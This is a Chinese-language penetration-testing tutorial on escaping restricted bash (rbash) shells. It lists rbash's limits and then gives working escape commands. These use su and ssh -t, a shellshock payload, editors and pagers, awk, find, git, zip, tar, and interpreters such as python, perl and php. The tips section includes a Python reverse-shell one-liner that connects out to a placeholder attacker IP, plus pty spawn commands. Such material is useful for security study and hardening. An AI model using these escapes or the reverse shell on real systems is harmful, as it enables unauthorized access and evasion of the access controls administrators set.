0x00、前言
rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的 restricted shell的一种,也是最常见的 restricted shell(rbash、ksh、rsh等)
渗透中遇到restricted shell是一件很烦人的事,总有有一种束手束脚的感觉;下面我们就来看看如何突破它。
0x01、rbash中的限制(正因为有这些限制我们才要突破它)
- 不能使用cd命令(意味着不能更改目录)
- 不能设置或取消环境变量:SHELL, PATH, ENV, BASH_ENV
- 导入功能受限
- 指定包含参数'/'或'-'的文件名(即命名中不能包含 '/ ' 或'-')
- 不能使用使用 >,>|, <>, >&, &>, >> 等重定向操作符
- 不能使用'set + r'或'set + o'关闭
从上边这些限制可知rbash的存在是为了提高安全性,但是严重影响了我们在目标机器上的信息收集,以及常用的反弹shell(大部分需要用到重定向符)
0x02、创建一个用户并为该用户启用rbash
kali@kali:~$ sudoadduser tw
kali@kali:~$ sudo usermod -s /bin/rbash tw
0x03、检查当前shell是否为rbash
0x04、rbash逃逸
4.1、切换用户时逃逸
这里的原理涉及到su 和 su- 的区别:
- su命令,只会更改当前用户,而不会更改当前的用户环境,比如你从oracle 用户su到root账户中,当前路径仍是你刚才的路径,环境变量仍是oracle用户的
- su- 命令,则在更改当前用户信息的同时还会更改用户环境,但是假如你从oracle 用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了
逃逸:
su -l tw
su - tw
su --login tw
4.2、ssh登录时逃逸 (借助-t远程在远程机器上运行脚本)
ssh username@IP -t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash" ###shellshock
4.3、当前shell中逃逸
4.3.1、特殊情况
[1] / 被允许的情况下;直接 /bin/sh 或 /bin/bash
[2]能够设置PATH或SHELL时
export PATH=$PATH:/bin/:/usr/bin:$PATH
export SHELL=/bin/sh
[3]权限足够时
cp /bin/sh /path/ ;sh
或
cp /bin/bash /path/ ;sh
4.3.2、利用系统常见应用逃逸
[1]ftp
[2]more
[3]less
[4]man
[5]vi
[6]vim
以上在输入的地方输入!/bin/sh 或 !/bin/bash
[7]scp
scp -S /path/yourscript x y:
[8]awk
awk 'BEGIN {system("/bin/sh")}'
或
awk 'BEGIN {system("/bin/bash")}'
[9]
find / -name SomeName -exec /bin/sh \;
find / -name SomeName -exec /bin/bash \;
4.3.3、利用用户安装应用逃逸
[1]ed-editor
ed
!'/bin/sh'
[2]git
git help status
!/bin/bash
[3]zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
[4]tar
tar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash
4.3.4、利用编程语言环境绕过
[1]python
python -c 'import os; os.system("/bin/sh")'
[2]php
php -a then exec("sh -i");
[3]perl
perl -e 'exec "/bin/sh";'
[4]lua
os.execute('/bin/sh')
[5]ruby
exec "/bin/sh"
[6]expect
spwan sh
sh
最后的几个小tips:
[1]比rbash更容易遇到的问题是当前路径异常问题
echo $PATH ###一般很多命令基础执行不了的时候,都是路径异常,查看该值可验证
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ####修复
[2] 不能使用 > ,>>等字符重定向写文件:echo 'script code' | tee scriptfile
[3]su切换用户逃逸时还可以在切换用户时执行spawn shell命令
su -c "python -c 'import pty;pty.spawn(\"/bin/bash\")'" tw
[4]ssh 登录时同样可以通过spawn shell逃逸
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'
[5]编程语言绕过的利用,还可以使用反弹shell到我们攻击机的方式进行逃逸,以python为例:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[6]上边用的比较多的是 !/bin/sh 和 !/bin/bash;其实还有一个 !'sh' --->由于没有了 '/' ;有时候能够达到很好的绕过效果
[7]同理.在路径正确的情况下,在当前rbash中直接输入 sh 也能够完成逃逸( !/bin/sh 和 !/bin/bash 逃逸失败报错同[6] )
0x05、总结
此处虽然只演示了rbash,但是这些逃逸方式应用到其他类型的restricted shell中也是可以的
由于不同系统特性不同,逃逸的方式也有很大差异;再就是用户限制的宽松程度不同,我们能够逃逸的方式也不同;用户安装的git、tar、zip等应用也能够给我很大的帮助;总之就是要多尝试,灵活应用!!!